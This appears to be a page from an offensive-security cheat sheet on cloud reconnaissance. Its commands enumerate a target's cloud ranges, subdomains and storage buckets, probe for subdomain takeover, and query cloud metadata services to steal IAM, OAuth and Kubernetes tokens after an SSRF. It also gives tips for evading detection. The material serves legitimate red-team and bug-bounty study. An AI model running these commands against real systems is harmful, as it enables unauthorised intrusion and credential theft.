Cloud Recon
Sections Cloud Recon
Identify cloud assets that belong to a target before authenticating to anything. Builds on Recon (External) but focuses on cloud-specific fingerprints.
DOMAIN=target.com
ORG='Target Inc'
i. Find the cloud netblocks
Cloud providers publish their ASN ranges. Cross-reference with target’s known IPs to identify cloud presence.
AWS ranges:
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | "\(.ip_prefix) \(.region) \(.service)"'
Azure ranges:
## Microsoft publishes weekly JSON files at:
## https://www.microsoft.com/en-us/download/details.aspx?id=56519
## Search engine query: "Azure IP Ranges and Service Tags Public Cloud"
GCP ranges:
curl -s https://www.gstatic.com/ipranges/cloud.json | jq -r '.prefixes[].ipv4Prefix' | head
Cloudflare:
curl -s https://www.cloudflare.com/ips-v4
Match target IPs against these ranges. Anything that lands in a cloud range is cloud-hosted.
ii. Cloud-specific subdomain patterns
After running normal subdomain enum (see Recon (external) ), grep for cloud patterns:
## After amass/subfinder etc, look for cloud signals
grep -E 'amazonaws\.com|cloudfront\.net|elasticbeanstalk\.com|s3\.|azurewebsites\.net|blob\.core\.windows\.net|cloudapp\.azure\.com|run\.app|appspot\.com|googleapis\.com|storage\.googleapis\.com|herokuapp\.com|cloudflare\.com|fastly\.net|netlify\.app|vercel\.app' all-subs.txt
CNAME chains reveal cloud hosting even when the apex hostname looks normal:
for sub in $(cat alive.txt); do
echo "=== $sub ==="
dig +short CNAME "$sub"
done | grep -B1 -E 'cloudfront|amazonaws|azure|gcp|google'
iii. cloud_enum: storage + services across all three providers
cloud_enum -k target -k target-prod -k targetinc -k 'Target Inc'
## Or with a keyword file:
cloud_enum -kf keywords.txt
Checks S3, GCS, Azure Blob, Azure Files, web apps, etc. for each keyword variation.
iv. S3 bucket discovery
Brute force with common keywords + suffixes:
## With s3scanner
s3scanner scan --bucket target
s3scanner scan --buckets-file possible-buckets.txt --output found-buckets.txt
## With grayhatwarfare (free tier for public buckets)
curl "https://buckets.grayhatwarfare.com/api/v2/buckets?keyword=target&access_token=..."
Permutate the name:
## Generate permutations
echo target | xargs -I{} echo -e '{}\n{}-prod\n{}-dev\n{}-staging\n{}-backup\n{}-assets\n{}-static\n{}-data\n{}-logs\n{}-uploads\n{}.backup\n{}.assets\nprod-{}\nstaging-{}\ndev-{}\nbackup-{}' > buckets.txt
Test public read on each:
while read b; do
status=$(curl -sI "https://$b.s3.amazonaws.com" -o /dev/null -w "%{http_code}")
case "$status" in
200) echo "PUBLIC: $b" ;;
403) echo "EXISTS: $b" ;;
esac
done < buckets.txt
Bucket exists but listing denied (403) is still useful - you know the name, can try specific object paths or auth-bypass tricks.
v. Azure Blob containers
Same pattern, different URL structure:
## https://<storage>.blob.core.windows.net/<container>?restype=container&comp=list
for s in target target-prod targetinc; do
for c in data backup files uploads media; do
url="https://$s.blob.core.windows.net/$c?restype=container&comp=list"
code=$(curl -sI "$url" -o /dev/null -w "%{http_code}")
[ "$code" = "200" ] && echo "PUBLIC LIST: $s/$c"
done
done
vi. GCS buckets
## Public GCS listing: https://storage.googleapis.com/<bucket>
for b in $(cat buckets.txt); do
status=$(curl -sI "https://storage.googleapis.com/$b" -o /dev/null -w "%{http_code}")
case "$status" in
200) echo "PUBLIC: $b" ;;
403) echo "EXISTS-PRIVATE: $b" ;;
esac
done
## With gcloud (auth makes some private buckets listable too)
gcloud storage ls gs://target-bucket/
vii. Subdomain takeover (dangling cloud resources)
A subdomain CNAME points to a cloud service the target no longer owns. Anyone can claim that service name and serve content from victim.target.com.
Common patterns:
- CNAME to
xxx.s3.amazonaws.comwhere the bucket doesn’t exist - CNAME to
xxx.azurewebsites.netthat returns 404 - CNAME to
xxx.cloudfront.netwith no associated distribution
Scan with subjack:
subjack -w alive.txt -t 100 -timeout 30 -ssl -c fingerprints.json -v
## Or nuclei takeover templates:
nuclei -l alive.txt -t http/takeovers/
Each “vulnerable” hit means you can register that cloud resource and serve content as the target.
viii. Cloud metadata endpoints
When you have any SSRF or LFI on a cloud-hosted host, hit the metadata service. Each provider has a distinct address and required headers.
AWS IMDSv1 (legacy, still on many older instances):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
AWS IMDSv2 (required since 2023 on new launches):
## Get token first
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
Azure IMDS (Metadata header required):
curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
GCP Metadata (Metadata-Flavor header required):
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/"
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
Kubernetes (in-pod):
curl https://kubernetes.default.svc/api/v1/namespaces/$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)/pods \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" -k
ix. Fingerprint server by response
Cloud services leak provider info in headers and behavior:
curl -sI "https://target.com" | grep -iE 'server|x-amz|x-azure|x-goog|x-cache|via'
## Common signals:
## Server: AmazonS3, AWSALB, CloudFront, awselb
## X-Azure-Ref:
## X-Goog-Generation:
## Via: 1.1 ... cloudfront
x. Cert transparency for cloud-hosted assets
crt.sh shows historical certs. Cloud-issued certs often have specific patterns:
curl -s "https://crt.sh/?q=%25.$DOMAIN&output=json" | jq -r '.[].name_value' | grep -E 'amazonaws|azurewebsites|appspot|cloudapp'
xi. Output: what to do with cloud assets
Once you know the cloud provider:
- AWS assets -> see AWS
- Azure assets -> see Azure
- GCP assets -> see GCP
- Cloud storage (any provider) -> see Cloud Storage
For SSRF/LFI targets, the metadata endpoints above are the next move. For exposed bucket finds, try anonymous read then escalate.
xii. OPSEC
Bucket and subdomain probing is high-volume, often noisy. Cloud providers log access at the storage level. Use:
- Random delays between requests (
--jitter 1-3style) - Cloud-egress IPs (the target may whitelist cloud ranges as “legitimate” partners)
- Distributed scanning sources
On bug bounty / red team engagements, check scope carefully. Cloud assets often have shared infrastructure (CDN, WAF) that’s NOT in scope even when the customer URL is.